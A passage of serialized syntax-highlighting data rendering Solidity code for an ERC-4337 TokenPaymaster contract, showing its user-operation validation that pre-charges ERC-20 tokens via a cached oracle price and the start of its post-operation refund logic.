}\n}\n",[102466],{"type":24,"tag":32,"props":102467,"children":102468},{"__ignoreMap":7},[102469,102513,102520,102577,102585,102593,102635,102642,102654,102676,102697,102727,102778,102808,102829,102867,102906,102923,102962,102986,103003,103046,103068,103085,103102,103109,103116,103142,103159,103194,103225,103237,103284,103291,103298,103305,103372,103379,103386,103393,103404,103423,103442,103506,103529,103562,103577,103612,103620,103659,103684,103705,103713,103740,103767,103775,103783,103825,103832,103839,103863,103879,103886,103893,103911,103924,103931,103939],{"type":24,"tag":83,"props":102470,"children":102471},{"class":85,"line":86},[102472,102476,102481,102486,102491,102495,102500,102504,102509],{"type":24,"tag":83,"props":102473,"children":102474},{"style":90},[102475],{"type":29,"value":89527},{"type":24,"tag":83,"props":102477,"children":102478},{"style":3163},[102479],{"type":29,"value":102480}," TokenPaymaster",{"type":24,"tag":83,"props":102482,"children":102483},{"style":90},[102484],{"type":29,"value":102485}," is",{"type":24,"tag":83,"props":102487,"children":102488},{"style":3163},[102489],{"type":29,"value":102490}," BasePaymaster",{"type":24,"tag":83,"props":102492,"children":102493},{"style":107},[102494],{"type":29,"value":568},{"type":24,"tag":83,"props":102496,"children":102497},{"style":3163},[102498],{"type":29,"value":102499},"UniswapHelper",{"type":24,"tag":83,"props":102501,"children":102502},{"style":107},[102503],{"type":29,"value":568},{"type":24,"tag":83,"props":102505,"children":102506},{"style":3163},[102507],{"type":29,"value":102508},"OracleHelper",{"type":24,"tag":83,"props":102510,"children":102511},{"style":107},[102512],{"type":29,"value":125},{"type":24,"tag":83,"props":102514,"children":102515},{"class":85,"line":113},[102516],{"type":24,"tag":83,"props":102517,"children":102518},{"style":107},[102519],{"type":29,"value":10065},{"type":24,"tag":83,"props":102521,"children":102522},{"class":85,"line":128},[102523,102527,102532,102536,102541,102546,102551,102555,102560,102564,102568,102573],{"type":24,"tag":83,"props":102524,"children":102525},{"style":90},[102526],{"type":29,"value":89544},{"type":24,"tag":83,"props":102528,"children":102529},{"style":101},[102530],{"type":29,"value":102531}," _validatePaymasterUserOp",{"type":24,"tag":83,"props":102533,"children":102534},{"style":107},[102535],{"type":29,"value":558},{"type":24,"tag":83,"props":102537,"children":102538},{"style":90},[102539],{"type":29,"value":102540},"PackedUserOperation",{"type":24,"tag":83,"props":102542,"children":102543},{"style":90},[102544],{"type":29,"value":102545}," calldata",{"type":24,"tag":83,"props":102547,"children":102548},{"style":137},[102549],{"type":29,"value":102550}," userOp",{"type":24,"tag":83,"props":102552,"children":102553},{"style":107},[102554],{"type":29,"value":568},{"type":24,"tag":83,"props":102556,"children":102557},{"style":3163},[102558],{"type":29,"value":102559},"bytes32",{"type":24,"tag":83,"props":102561,"children":102562},{"style":107},[102563],{"type":29,"value":568},{"type":24,"tag":83,"props":102565,"children":102566},{"style":3163},[102567],{"type":29,"value":45887},{"type":24,"tag":83,"props":102569,"children":102570},{"style":137},[102571],{"type":29,"value":102572}," requiredPreFund",{"type":24,"tag":83,"props":102574,"children":102575},{"style":107},[102576],{"type":29,"value":2905},{"type":24,"tag":83,"props":102578,"children":102579},{"class":85,"line":183},[102580],{"type":24,"tag":83,"props":102581,"children":102582},{"style":90},[102583],{"type":29,"value":102584},"        internal\n",{"type":24,"tag":83,"props":102586,"children":102587},{"class":85,"line":203},[102588],{"type":24,"tag":83,"props":102589,"children":102590},{"style":90},[102591],{"type":29,"value":102592},"        override\n",{"type":24,"tag":83,"props":102594,"children":102595},{"class":85,"line":212},[102596,102601,102605,102609,102614,102618,102622,102626,102631],{"type":24,"tag":83,"props":102597,"children":102598},{"style":117},[102599],{"type":29,"value":102600},"        returns",{"type":24,"tag":83,"props":102602,"children":102603},{"style":107},[102604],{"type":29,"value":223},{"type":24,"tag":83,"props":102606,"children":102607},{"style":3163},[102608],{"type":29,"value":83541},{"type":24,"tag":83,"props":102610,"children":102611},{"style":90},[102612],{"type":29,"value":102613}," memory",{"type":24,"tag":83,"props":102615,"children":102616},{"style":137},[102617],{"type":29,"value":76055},{"type":24,"tag":83,"props":102619,"children":102620},{"style":107},[102621],{"type":29,"value":568},{"type":24,"tag":83,"props":102623,"children":102624},{"style":3163},[102625],{"type":29,"value":45887},{"type":24,"tag":83,"props":102627,"children":102628},{"style":137},[102629],{"type":29,"value":102630}," validationResult",{"type":24,"tag":83,"props":102632,"children":102633},{"style":107},[102634],{"type":29,"value":2905},{"type":24,"tag":83,"props":102636,"children":102637},{"class":85,"line":256},[102638],{"type":24,"tag":83,"props":102639,"children":102640},{"style":107},[102641],{"type":29,"value":28938},{"type":24,"tag":83,"props":102643,"children":102644},{"class":85,"line":270},[102645,102650],{"type":24,"tag":83,"props":102646,"children":102647},{"style":117},[102648],{"type":29,"value":102649},"        unchecked",{"type":24,"tag":83,"props":102651,"children":102652},{"style":107},[102653],{"type":29,"value":125},{"type":24,"tag":83,"props":102655,"children":102656},{"class":85,"line":302},[102657,102662,102667,102671],{"type":24,"tag":83,"props":102658,"children":102659},{"style":3163},[102660],{"type":29,"value":102661},"            uint256",{"type":24,"tag":83,"props":102663,"children":102664},{"style":107},[102665],{"type":29,"value":102666}," priceMarkup ",{"type":24,"tag":83,"props":102668,"children":102669},{"style":143},[102670],{"type":29,"value":1275},{"type":24,"tag":83,"props":102672,"children":102673},{"style":107},[102674],{"type":29,"value":102675}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":83,"props":102677,"children":102678},{"class":85,"line":324},[102679,102683,102688,102692],{"type":24,"tag":83,"props":102680,"children":102681},{"style":3163},[102682],{"type":29,"value":102661},{"type":24,"tag":83,"props":102684,"children":102685},{"style":107},[102686],{"type":29,"value":102687}," baseFee ",{"type":24,"tag":83,"props":102689,"children":102690},{"style":143},[102691],{"type":29,"value":1275},{"type":24,"tag":83,"props":102693,"children":102694},{"style":107},[102695],{"type":29,"value":102696}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":83,"props":102698,"children":102699},{"class":85,"line":345},[102700,102704,102709,102713,102718,102722],{"type":24,"tag":83,"props":102701,"children":102702},{"style":3163},[102703],{"type":29,"value":102661},{"type":24,"tag":83,"props":102705,"children":102706},{"style":107},[102707],{"type":29,"value":102708}," dataLength ",{"type":24,"tag":83,"props":102710,"children":102711},{"style":143},[102712],{"type":29,"value":1275},{"type":24,"tag":83,"props":102714,"children":102715},{"style":107},[102716],{"type":29,"value":102717}," userOp.paymasterAndData.length ",{"type":24,"tag":83,"props":102719,"children":102720},{"style":143},[102721],{"type":29,"value":4072},{"type":24,"tag":83,"props":102723,"children":102724},{"style":107},[102725],{"type":29,"value":102726}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":83,"props":102728,"children":102729},{"class":85,"line":358},[102730,102735,102740,102744,102748,102752,102756,102760,102765,102769,102774],{"type":24,"tag":83,"props":102731,"children":102732},{"style":117},[102733],{"type":29,"value":102734},"            require",{"type":24,"tag":83,"props":102736,"children":102737},{"style":107},[102738],{"type":29,"value":102739},"(dataLength ",{"type":24,"tag":83,"props":102741,"children":102742},{"style":143},[102743],{"type":29,"value":8320},{"type":24,"tag":83,"props":102745,"children":102746},{"style":245},[102747],{"type":29,"value":248},{"type":24,"tag":83,"props":102749,"children":102750},{"style":143},[102751],{"type":29,"value":23447},{"type":24,"tag":83,"props":102753,"children":102754},{"style":107},[102755],{"type":29,"value":102708},{"type":24,"tag":83,"props":102757,"children":102758},{"style":143},[102759],{"type":29,"value":8320},{"type":24,"tag":83,"props":102761,"children":102762},{"style":245},[102763],{"type":29,"value":102764}," 32",{"type":24,"tag":83,"props":102766,"children":102767},{"style":107},[102768],{"type":29,"value":568},{"type":24,"tag":83,"props":102770,"children":102771},{"style":187},[102772],{"type":29,"value":102773},"\"TPM: invalid data length\"",{"type":24,"tag":83,"props":102775,"children":102776},{"style":107},[102777],{"type":29,"value":581},{"type":24,"tag":83,"props":102779,"children":102780},{"class":85,"line":367},[102781,102785,102790,102794,102799,102804],{"type":24,"tag":83,"props":102782,"children":102783},{"style":3163},[102784],{"type":29,"value":102661},{"type":24,"tag":83,"props":102786,"children":102787},{"style":107},[102788],{"type":29,"value":102789}," maxFeePerGas ",{"type":24,"tag":83,"props":102791,"children":102792},{"style":143},[102793],{"type":29,"value":1275},{"type":24,"tag":83,"props":102795,"children":102796},{"style":107},[102797],{"type":29,"value":102798}," userOp.",{"type":24,"tag":83,"props":102800,"children":102801},{"style":101},[102802],{"type":29,"value":102803},"unpackMaxFeePerGas",{"type":24,"tag":83,"props":102805,"children":102806},{"style":107},[102807],{"type":29,"value":267},{"type":24,"tag":83,"props":102809,"children":102810},{"class":85,"line":406},[102811,102815,102820,102824],{"type":24,"tag":83,"props":102812,"children":102813},{"style":3163},[102814],{"type":29,"value":102661},{"type":24,"tag":83,"props":102816,"children":102817},{"style":107},[102818],{"type":29,"value":102819}," refundPostopCost ",{"type":24,"tag":83,"props":102821,"children":102822},{"style":143},[102823],{"type":29,"value":1275},{"type":24,"tag":83,"props":102825,"children":102826},{"style":107},[102827],{"type":29,"value":102828}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":83,"props":102830,"children":102831},{"class":85,"line":427},[102832,102836,102841,102845,102849,102854,102858,102863],{"type":24,"tag":83,"props":102833,"children":102834},{"style":117},[102835],{"type":29,"value":102734},{"type":24,"tag":83,"props":102837,"children":102838},{"style":107},[102839],{"type":29,"value":102840},"(refundPostopCost ",{"type":24,"tag":83,"props":102842,"children":102843},{"style":143},[102844],{"type":29,"value":5552},{"type":24,"tag":83,"props":102846,"children":102847},{"style":107},[102848],{"type":29,"value":102798},{"type":24,"tag":83,"props":102850,"children":102851},{"style":101},[102852],{"type":29,"value":102853},"unpackPostOpGasLimit",{"type":24,"tag":83,"props":102855,"children":102856},{"style":107},[102857],{"type":29,"value":18112},{"type":24,"tag":83,"props":102859,"children":102860},{"style":187},[102861],{"type":29,"value":102862},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":83,"props":102864,"children":102865},{"style":107},[102866],{"type":29,"value":581},{"type":24,"tag":83,"props":102868,"children":102869},{"class":85,"line":440},[102870,102874,102879,102883,102888,102892,102897,102901],{"type":24,"tag":83,"props":102871,"children":102872},{"style":3163},[102873],{"type":29,"value":102661},{"type":24,"tag":83,"props":102875,"children":102876},{"style":107},[102877],{"type":29,"value":102878}," preChargeNative ",{"type":24,"tag":83,"props":102880,"children":102881},{"style":143},[102882],{"type":29,"value":1275},{"type":24,"tag":83,"props":102884,"children":102885},{"style":107},[102886],{"type":29,"value":102887}," requiredPreFund ",{"type":24,"tag":83,"props":102889,"children":102890},{"style":143},[102891],{"type":29,"value":4126},{"type":24,"tag":83,"props":102893,"children":102894},{"style":107},[102895],{"type":29,"value":102896}," (refundPostopCost ",{"type":24,"tag":83,"props":102898,"children":102899},{"style":143},[102900],{"type":29,"value":4315},{"type":24,"tag":83,"props":102902,"children":102903},{"style":107},[102904],{"type":29,"value":102905}," maxFeePerGas);\n",{"type":24,"tag":83,"props":102907,"children":102908},{"class":85,"line":449},[102909,102914,102918],{"type":24,"tag":83,"props":102910,"children":102911},{"style":2735},[102912],{"type":29,"value":102913},"            // ",{"type":24,"tag":83,"props":102915,"children":102916},{"style":90},[102917],{"type":29,"value":66474},{"type":24,"tag":83,"props":102919,"children":102920},{"style":2735},[102921],{"type":29,"value":102922},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":83,"props":102924,"children":102925},{"class":85,"line":458},[102926,102930,102935,102939,102944,102948,102953,102957],{"type":24,"tag":83,"props":102927,"children":102928},{"style":3163},[102929],{"type":29,"value":102661},{"type":24,"tag":83,"props":102931,"children":102932},{"style":107},[102933],{"type":29,"value":102934}," cachedPriceWithMarkup ",{"type":24,"tag":83,"props":102936,"children":102937},{"style":143},[102938],{"type":29,"value":1275},{"type":24,"tag":83,"props":102940,"children":102941},{"style":107},[102942],{"type":29,"value":102943}," cachedPrice ",{"type":24,"tag":83,"props":102945,"children":102946},{"style":143},[102947],{"type":29,"value":4315},{"type":24,"tag":83,"props":102949,"children":102950},{"style":107},[102951],{"type":29,"value":102952}," DENOM ",{"type":24,"tag":83,"props":102954,"children":102955},{"style":143},[102956],{"type":29,"value":4325},{"type":24,"tag":83,"props":102958,"children":102959},{"style":107},[102960],{"type":29,"value":102961}," priceMarkup;\n",{"type":24,"tag":83,"props":102963,"children":102964},{"class":85,"line":1065},[102965,102969,102974,102978,102982],{"type":24,"tag":83,"props":102966,"children":102967},{"style":117},[102968],{"type":29,"value":58515},{"type":24,"tag":83,"props":102970,"children":102971},{"style":107},[102972],{"type":29,"value":102973}," (dataLength ",{"type":24,"tag":83,"props":102975,"children":102976},{"style":143},[102977],{"type":29,"value":8320},{"type":24,"tag":83,"props":102979,"children":102980},{"style":245},[102981],{"type":29,"value":102764},{"type":24,"tag":83,"props":102983,"children":102984},{"style":107},[102985],{"type":29,"value":253},{"type":24,"tag":83,"props":102987,"children":102988},{"class":85,"line":1668},[102989,102994,102999],{"type":24,"tag":83,"props":102990,"children":102991},{"style":3163},[102992],{"type":29,"value":102993},"                uint256",{"type":24,"tag":83,"props":102995,"children":102996},{"style":107},[102997],{"type":29,"value":102998}," clientSuppliedPrice ",{"type":24,"tag":83,"props":103000,"children":103001},{"style":143},[103002],{"type":29,"value":14436},{"type":24,"tag":83,"props":103004,"children":103005},{"class":85,"line":1713},[103006,103011,103015,103019,103024,103028,103033,103037,103041],{"type":24,"tag":83,"props":103007,"children":103008},{"style":3163},[103009],{"type":29,"value":103010},"                    uint256",{"type":24,"tag":83,"props":103012,"children":103013},{"style":107},[103014],{"type":29,"value":558},{"type":24,"tag":83,"props":103016,"children":103017},{"style":3163},[103018],{"type":29,"value":102559},{"type":24,"tag":83,"props":103020,"children":103021},{"style":107},[103022],{"type":29,"value":103023},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":83,"props":103025,"children":103026},{"style":143},[103027],{"type":29,"value":195},{"type":24,"tag":83,"props":103029,"children":103030},{"style":107},[103031],{"type":29,"value":103032},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":83,"props":103034,"children":103035},{"style":143},[103036],{"type":29,"value":4126},{"type":24,"tag":83,"props":103038,"children":103039},{"style":245},[103040],{"type":29,"value":102764},{"type":24,"tag":83,"props":103042,"children":103043},{"style":107},[103044],{"type":29,"value":103045},"]));\n",{"type":24,"tag":83,"props":103047,"children":103048},{"class":85,"line":1730},[103049,103054,103059,103063],{"type":24,"tag":83,"props":103050,"children":103051},{"style":117},[103052],{"type":29,"value":103053},"                if",{"type":24,"tag":83,"props":103055,"children":103056},{"style":107},[103057],{"type":29,"value":103058}," (clientSuppliedPrice ",{"type":24,"tag":83,"props":103060,"children":103061},{"style":143},[103062],{"type":29,"value":5552},{"type":24,"tag":83,"props":103064,"children":103065},{"style":107},[103066],{"type":29,"value":103067}," cachedPriceWithMarkup) {\n",{"type":24,"tag":83,"props":103069,"children":103070},{"class":85,"line":1770},[103071,103076,103080],{"type":24,"tag":83,"props":103072,"children":103073},{"style":2735},[103074],{"type":29,"value":103075},"                    // ",{"type":24,"tag":83,"props":103077,"children":103078},{"style":90},[103079],{"type":29,"value":66474},{"type":24,"tag":83,"props":103081,"children":103082},{"style":2735},[103083],{"type":29,"value":103084},": smaller number means 'more native asset per token'\n",{"type":24,"tag":83,"props":103086,"children":103087},{"class":85,"line":1778},[103088,103093,103097],{"type":24,"tag":83,"props":103089,"children":103090},{"style":107},[103091],{"type":29,"value":103092},"                    cachedPriceWithMarkup ",{"type":24,"tag":83,"props":103094,"children":103095},{"style":143},[103096],{"type":29,"value":1275},{"type":24,"tag":83,"props":103098,"children":103099},{"style":107},[103100],{"type":29,"value":103101}," clientSuppliedPrice;\n",{"type":24,"tag":83,"props":103103,"children":103104},{"class":85,"line":1803},[103105],{"type":24,"tag":83,"props":103106,"children":103107},{"style":107},[103108],{"type":29,"value":70786},{"type":24,"tag":83,"props":103110,"children":103111},{"class":85,"line":1811},[103112],{"type":24,"tag":83,"props":103113,"children":103114},{"style":107},[103115],{"type":29,"value":58599},{"type":24,"tag":83,"props":103117,"children":103118},{"class":85,"line":8792},[103119,103123,103128,103132,103137],{"type":24,"tag":83,"props":103120,"children":103121},{"style":3163},[103122],{"type":29,"value":102661},{"type":24,"tag":83,"props":103124,"children":103125},{"style":107},[103126],{"type":29,"value":103127}," tokenAmount ",{"type":24,"tag":83,"props":103129,"children":103130},{"style":143},[103131],{"type":29,"value":1275},{"type":24,"tag":83,"props":103133,"children":103134},{"style":101},[103135],{"type":29,"value":103136}," weiToToken",{"type":24,"tag":83,"props":103138,"children":103139},{"style":107},[103140],{"type":29,"value":103141},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":83,"props":103143,"children":103144},{"class":85,"line":8810},[103145,103150,103154],{"type":24,"tag":83,"props":103146,"children":103147},{"style":107},[103148],{"type":29,"value":103149},"            tokenAmount ",{"type":24,"tag":83,"props":103151,"children":103152},{"style":143},[103153],{"type":29,"value":68153},{"type":24,"tag":83,"props":103155,"children":103156},{"style":107},[103157],{"type":29,"value":103158}," baseFee;\n",{"type":24,"tag":83,"props":103160,"children":103161},{"class":85,"line":8855},[103162,103167,103172,103177,103181,103185,103189],{"type":24,"tag":83,"props":103163,"children":103164},{"style":107},[103165],{"type":29,"value":103166},"            SafeERC20.",{"type":24,"tag":83,"props":103168,"children":103169},{"style":101},[103170],{"type":29,"value":103171},"safeTransferFrom",{"type":24,"tag":83,"props":103173,"children":103174},{"style":107},[103175],{"type":29,"value":103176},"(token, userOp.sender, ",{"type":24,"tag":83,"props":103178,"children":103179},{"style":3163},[103180],{"type":29,"value":32379},{"type":24,"tag":83,"props":103182,"children":103183},{"style":107},[103184],{"type":29,"value":558},{"type":24,"tag":83,"props":103186,"children":103187},{"style":90},[103188],{"type":29,"value":563},{"type":24,"tag":83,"props":103190,"children":103191},{"style":107},[103192],{"type":29,"value":103193},"), tokenAmount);\n",{"type":24,"tag":83,"props":103195,"children":103196},{"class":85,"line":8961},[103197,103202,103206,103211,103215,103220],{"type":24,"tag":83,"props":103198,"children":103199},{"style":107},[103200],{"type":29,"value":103201},"            context ",{"type":24,"tag":83,"props":103203,"children":103204},{"style":143},[103205],{"type":29,"value":1275},{"type":24,"tag":83,"props":103207,"children":103208},{"style":90},[103209],{"type":29,"value":103210}," abi",{"type":24,"tag":83,"props":103212,"children":103213},{"style":107},[103214],{"type":29,"value":161},{"type":24,"tag":83,"props":103216,"children":103217},{"style":101},[103218],{"type":29,"value":103219},"encode",{"type":24,"tag":83,"props":103221,"children":103222},{"style":107},[103223],{"type":29,"value":103224},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":83,"props":103226,"children":103227},{"class":85,"line":23248},[103228,103233],{"type":24,"tag":83,"props":103229,"children":103230},{"style":107},[103231],{"type":29,"value":103232},"            validationResult ",{"type":24,"tag":83,"props":103234,"children":103235},{"style":143},[103236],{"type":29,"value":14436},{"type":24,"tag":83,"props":103238,"children":103239},{"class":85,"line":23283},[103240,103245,103249,103253,103257,103262,103267,103271,103276,103280],{"type":24,"tag":83,"props":103241,"children":103242},{"style":101},[103243],{"type":29,"value":103244},"                _packValidationData",{"type":24,"tag":83,"props":103246,"children":103247},{"style":107},[103248],{"type":29,"value":558},{"type":24,"tag":83,"props":103250,"children":103251},{"style":90},[103252],{"type":29,"value":1617},{"type":24,"tag":83,"props":103254,"children":103255},{"style":107},[103256],{"type":29,"value":568},{"type":24,"tag":83,"props":103258,"children":103259},{"style":3163},[103260],{"type":29,"value":103261},"uint48",{"type":24,"tag":83,"props":103263,"children":103264},{"style":107},[103265],{"type":29,"value":103266},"(cachedPriceTimestamp ",{"type":24,"tag":83,"props":103268,"children":103269},{"style":143},[103270],{"type":29,"value":4126},{"type":24,"tag":83,"props":103272,"children":103273},{"style":107},[103274],{"type":29,"value":103275}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":83,"props":103277,"children":103278},{"style":245},[103279],{"type":29,"value":1166},{"type":24,"tag":83,"props":103281,"children":103282},{"style":107},[103283],{"type":29,"value":581},{"type":24,"tag":83,"props":103285,"children":103286},{"class":85,"line":23291},[103287],{"type":24,"tag":83,"props":103288,"children":103289},{"style":107},[103290],{"type":29,"value":3092},{"type":24,"tag":83,"props":103292,"children":103293},{"class":85,"line":23299},[103294],{"type":24,"tag":83,"props":103295,"children":103296},{"style":107},[103297],{"type":29,"value":446},{"type":24,"tag":83,"props":103299,"children":103300},{"class":85,"line":23308},[103301],{"type":24,"tag":83,"props":103302,"children":103303},{"style":107},[103304],{"type":29,"value":10065},{"type":24,"tag":83,"props":103306,"children":103307},{"class":85,"line":23350},[103308,103312,103317,103321,103326,103330,103334,103338,103342,103346,103350,103355,103359,103363,103368],{"type":24,"tag":83,"props":103309,"children":103310},{"style":90},[103311],{"type":29,"value":89544},{"type":24,"tag":83,"props":103313,"children":103314},{"style":101},[103315],{"type":29,"value":103316}," _postOp",{"type":24,"tag":83,"props":103318,"children":103319},{"style":107},[103320],{"type":29,"value":558},{"type":24,"tag":83,"props":103322,"children":103323},{"style":90},[103324],{"type":29,"value":103325},"PostOpMode",{"type":24,"tag":83,"props":103327,"children":103328},{"style":107},[103329],{"type":29,"value":568},{"type":24,"tag":83,"props":103331,"children":103332},{"style":3163},[103333],{"type":29,"value":83541},{"type":24,"tag":83,"props":103335,"children":103336},{"style":90},[103337],{"type":29,"value":102545},{"type":24,"tag":83,"props":103339,"children":103340},{"style":137},[103341],{"type":29,"value":76055},{"type":24,"tag":83,"props":103343,"children":103344},{"style":107},[103345],{"type":29,"value":568},{"type":24,"tag":83,"props":103347,"children":103348},{"style":3163},[103349],{"type":29,"value":45887},{"type":24,"tag":83,"props":103351,"children":103352},{"style":137},[103353],{"type":29,"value":103354}," actualGasCost",{"type":24,"tag":83,"props":103356,"children":103357},{"style":107},[103358],{"type":29,"value":568},{"type":24,"tag":83,"props":103360,"children":103361},{"style":3163},[103362],{"type":29,"value":45887},{"type":24,"tag":83,"props":103364,"children":103365},{"style":137},[103366],{"type":29,"value":103367}," actualUserOpFeePerGas",{"type":24,"tag":83,"props":103369,"children":103370},{"style":107},[103371],{"type":29,"value":2905},{"type":24,"tag":83,"props":103373,"children":103374},{"class":85,"line":23383},[103375],{"type":24,"tag":83,"props":103376,"children":103377},{"style":90},[103378],{"type":29,"value":102584},{"type":24,"tag":83,"props":103380,"children":103381},{"class":85,"line":23391},[103382],{"type":24,"tag":83,"props":103383,"children":103384},{"style":90},[103385],{"type":29,"value":102592},{"type":24,"tag":83,"props":103387,"children":103388},{"class":85,"line":23399},[103389],{"type":24,"tag":83,"props":103390,"children":103391},{"style":107},[103392],{"type":29,"value":28938},{"type":24,"tag":83,"props":103394,"children":103395},{"class":85,"line":23408},[103396,103400],{"type":24,"tag":83,"props":103397,"children":103398},{"style":117},[103399],{"type":29,"value":102649},{"type":24,"tag":83,"props":103401,"children":103402},{"style":107},[103403],{"type":29,"value":125},{"type":24,"tag":83,"props":103405,"children":103406},{"class":85,"line":23484},[103407,103411,103415,103419],{"type":24,"tag":83,"props":103408,"children":103409},{"style":3163},[103410],{"type":29,"value":102661},{"type":24,"tag":83,"props":103412,"children":103413},{"style":107},[103414],{"type":29,"value":102666},{"type":24,"tag":83,"props":103416,"children":103417},{"style":143},[103418],{"type":29,"value":1275},{"type":24,"tag":83,"props":103420,"children":103421},{"style":107},[103422],{"type":29,"value":102675},{"type":24,"tag":83,"props":103424,"children":103425},{"class":85,"line":23517},[103426,103430,103434,103438],{"type":24,"tag":83,"props":103427,"children":103428},{"style":3163},[103429],{"type":29,"value":102661},{"type":24,"tag":83,"props":103431,"children":103432},{"style":107},[103433],{"type":29,"value":102687},{"type":24,"tag":83,"props":103435,"children":103436},{"style":143},[103437],{"type":29,"value":1275},{"type":24,"tag":83,"props":103439,"children":103440},{"style":107},[103441],{"type":29,"value":102696},{"type":24,"tag":83,"props":103443,"children":103444},{"class":85,"line":23525},[103445,103450,103454,103459,103463,103468,103472,103476,103480,103485,103490,103494,103498,103502],{"type":24,"tag":83,"props":103446,"children":103447},{"style":107},[103448],{"type":29,"value":103449},"            (",{"type":24,"tag":83,"props":103451,"children":103452},{"style":3163},[103453],{"type":29,"value":45887},{"type":24,"tag":83,"props":103455,"children":103456},{"style":107},[103457],{"type":29,"value":103458}," preCharge, ",{"type":24,"tag":83,"props":103460,"children":103461},{"style":3163},[103462],{"type":29,"value":32379},{"type":24,"tag":83,"props":103464,"children":103465},{"style":107},[103466],{"type":29,"value":103467}," userOpSender) ",{"type":24,"tag":83,"props":103469,"children":103470},{"style":143},[103471],{"type":29,"value":1275},{"type":24,"tag":83,"props":103473,"children":103474},{"style":90},[103475],{"type":29,"value":103210},{"type":24,"tag":83,"props":103477,"children":103478},{"style":107},[103479],{"type":29,"value":161},{"type":24,"tag":83,"props":103481,"children":103482},{"style":101},[103483],{"type":29,"value":103484},"decode",{"type":24,"tag":83,"props":103486,"children":103487},{"style":107},[103488],{"type":29,"value":103489},"(context, (",{"type":24,"tag":83,"props":103491,"children":103492},{"style":3163},[103493],{"type":29,"value":45887},{"type":24,"tag":83,"props":103495,"children":103496},{"style":107},[103497],{"type":29,"value":568},{"type":24,"tag":83,"props":103499,"children":103500},{"style":3163},[103501],{"type":29,"value":32379},{"type":24,"tag":83,"props":103503,"children":103504},{"style":107},[103505],{"type":29,"value":6970},{"type":24,"tag":83,"props":103507,"children":103508},{"class":85,"line":23533},[103509,103514,103519,103524],{"type":24,"tag":83,"props":103510,"children":103511},{"style":107},[103512],{"type":29,"value":103513},"            preCharge ",{"type":24,"tag":83,"props":103515,"children":103516},{"style":143},[103517],{"type":29,"value":103518},"-=",{"type":24,"tag":83,"props":103520,"children":103521},{"style":107},[103522],{"type":29,"value":103523}," baseFee; ",{"type":24,"tag":83,"props":103525,"children":103526},{"style":2735},[103527],{"type":29,"value":103528},"// don't refund the base fee\n",{"type":24,"tag":83,"props":103530,"children":103531},{"class":85,"line":23570},[103532,103536,103541,103545,103550,103554,103558],{"type":24,"tag":83,"props":103533,"children":103534},{"style":3163},[103535],{"type":29,"value":102661},{"type":24,"tag":83,"props":103537,"children":103538},{"style":107},[103539],{"type":29,"value":103540}," _cachedPrice ",{"type":24,"tag":83,"props":103542,"children":103543},{"style":143},[103544],{"type":29,"value":1275},{"type":24,"tag":83,"props":103546,"children":103547},{"style":101},[103548],{"type":29,"value":103549}," updateCachedPrice",{"type":24,"tag":83,"props":103551,"children":103552},{"style":107},[103553],{"type":29,"value":558},{"type":24,"tag":83,"props":103555,"children":103556},{"style":90},[103557],{"type":29,"value":1617},{"type":24,"tag":83,"props":103559,"children":103560},{"style":107},[103561],{"type":29,"value":581},{"type":24,"tag":83,"props":103563,"children":103564},{"class":85,"line":23583},[103565,103569,103573],{"type":24,"tag":83,"props":103566,"children":103567},{"style":2735},[103568],{"type":29,"value":102913},{"type":24,"tag":83,"props":103570,"children":103571},{"style":90},[103572],{"type":29,"value":66474},{"type":24,"tag":83,"props":103574,"children":103575},{"style":2735},[103576],{"type":29,"value":102922},{"type":24,"tag":83,"props":103578,"children":103579},{"class":85,"line":23596},[103580,103584,103588,103592,103596,103600,103604,103608],{"type":24,"tag":83,"props":103581,"children":103582},{"style":3163},[103583],{"type":29,"value":102661},{"type":24,"tag":83,"props":103585,"children":103586},{"style":107},[103587],{"type":29,"value":102934},{"type":24,"tag":83,"props":103589,"children":103590},{"style":143},[103591],{"type":29,"value":1275},{"type":24,"tag":83,"props":103593,"children":103594},{"style":107},[103595],{"type":29,"value":103540},{"type":24,"tag":83,"props":103597,"children":103598},{"style":143},[103599],{"type":29,"value":4315},{"type":24,"tag":83,"props":103601,"children":103602},{"style":107},[103603],{"type":29,"value":102952},{"type":24,"tag":83,"props":103605,"children":103606},{"style":143},[103607],{"type":29,"value":4325},{"type":24,"tag":83,"props":103609,"children":103610},{"style":107},[103611],{"type":29,"value":102961},{"type":24,"tag":83,"props":103613,"children":103614},{"class":85,"line":23609},[103615],{"type":24,"tag":83,"props":103616,"children":103617},{"style":2735},[103618],{"type":29,"value":103619},"            // Refund tokens based on actual gas cost\n",{"type":24,"tag":83,"props":103621,"children":103622},{"class":85,"line":23663},[103623,103627,103632,103636,103641,103645,103650,103654],{"type":24,"tag":83,"props":103624,"children":103625},{"style":3163},[103626],{"type":29,"value":102661},{"type":24,"tag":83,"props":103628,"children":103629},{"style":107},[103630],{"type":29,"value":103631}," actualChargeNative ",{"type":24,"tag":83,"props":103633,"children":103634},{"style":143},[103635],{"type":29,"value":1275},{"type":24,"tag":83,"props":103637,"children":103638},{"style":107},[103639],{"type":29,"value":103640}," actualGasCost ",{"type":24,"tag":83,"props":103642,"children":103643},{"style":143},[103644],{"type":29,"value":4126},{"type":24,"tag":83,"props":103646,"children":103647},{"style":107},[103648],{"type":29,"value":103649}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":83,"props":103651,"children":103652},{"style":143},[103653],{"type":29,"value":4315},{"type":24,"tag":83,"props":103655,"children":103656},{"style":107},[103657],{"type":29,"value":103658}," actualUserOpFeePerGas;\n",{"type":24,"tag":83,"props":103660,"children":103661},{"class":85,"line":23672},[103662,103666,103671,103675,103679],{"type":24,"tag":83,"props":103663,"children":103664},{"style":3163},[103665],{"type":29,"value":102661},{"type":24,"tag":83,"props":103667,"children":103668},{"style":107},[103669],{"type":29,"value":103670}," actualTokenNeeded ",{"type":24,"tag":83,"props":103672,"children":103673},{"style":143},[103674],{"type":29,"value":1275},{"type":24,"tag":83,"props":103676,"children":103677},{"style":101},[103678],{"type":29,"value":103136},{"type":24,"tag":83,"props":103680,"children":103681},{"style":107},[103682],{"type":29,"value":103683},"(actualChargeNative, 